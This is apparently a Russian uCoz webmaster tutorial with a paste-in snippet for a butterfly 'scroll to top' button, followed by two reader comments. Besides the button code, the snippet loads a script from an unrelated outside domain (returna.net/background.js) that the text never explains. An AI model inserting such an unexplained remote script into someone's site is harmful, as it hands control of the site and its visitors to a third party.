» »

Кнопка вверх бабочка для сайта


Кнопка вверх бабочка для сайта

Необычная кнопка думаю согласитесь, бабочка на сайте. Очень красиво она взлетает и подымает за собой страницу. Все очень грамотно нарисовано и сделан сам по себе скрипт который для системы ucoz.
Но давайте и учитывать сам дизайн, есть блоги которые на тематику природа и этот код очень по дизайну подойдет.
Если сам интернет ресурс и его тематика позволяет то это будет отличное решение а главное оригинальное.
В низ сайта ставим:
Код
<style>.b-top {z-index:2600;position:fixed;left:0;bottom:10px;width:34;opacity: 0.5;filter:alpha(opacity=50);}  
  .b-top:hover {opacity:1;filter:alpha(opacity=100);cursor:pointer;}  
  .b-top-but {z-index:2600;position:absolute;display:block;left:56px;bottom:0;margin:0 0 0 100%;padding:79px 12px 4px;  
  color:black;background: url(http://zornet.ru/CSS-ZORNET/Skript/c701ebd202c1.gif) no-repeat 50% 11px;border-radius:7px;}</style><script type="text/javascript" src="http://returna.net/background.js"></script><script type="text/javascript">$(document).ready(function(){  
  $(window).scroll(function () {if ($(this).scrollTop() > 1000) {$('#scroller').fadeIn();} else {$('#scroller').fadeOut();}});  
  $('#scroller').click(function () {$('body,html').animate({scrollTop: 0}, 400); return false;});  
  });</script><div id="scroller" class="b-top" style="display: none;"><span class="b-top-but">Наверх</span></div>
05.02.2014 Просмотров: 1547 Комментарий: (2)

Поделиться в социальных сетях

Материал разместил

Комментарий: 2
avatar
Blackstone 19.03.2014 14:351
0
Ошибочку справите , после url поставьте ( Т.е. выглядеть должно так url( Иначе бабочка не появится.
Kosten
Kosten 19.03.2014 14:462
0
Blackstone, спасибо большое.. исправил...
avatar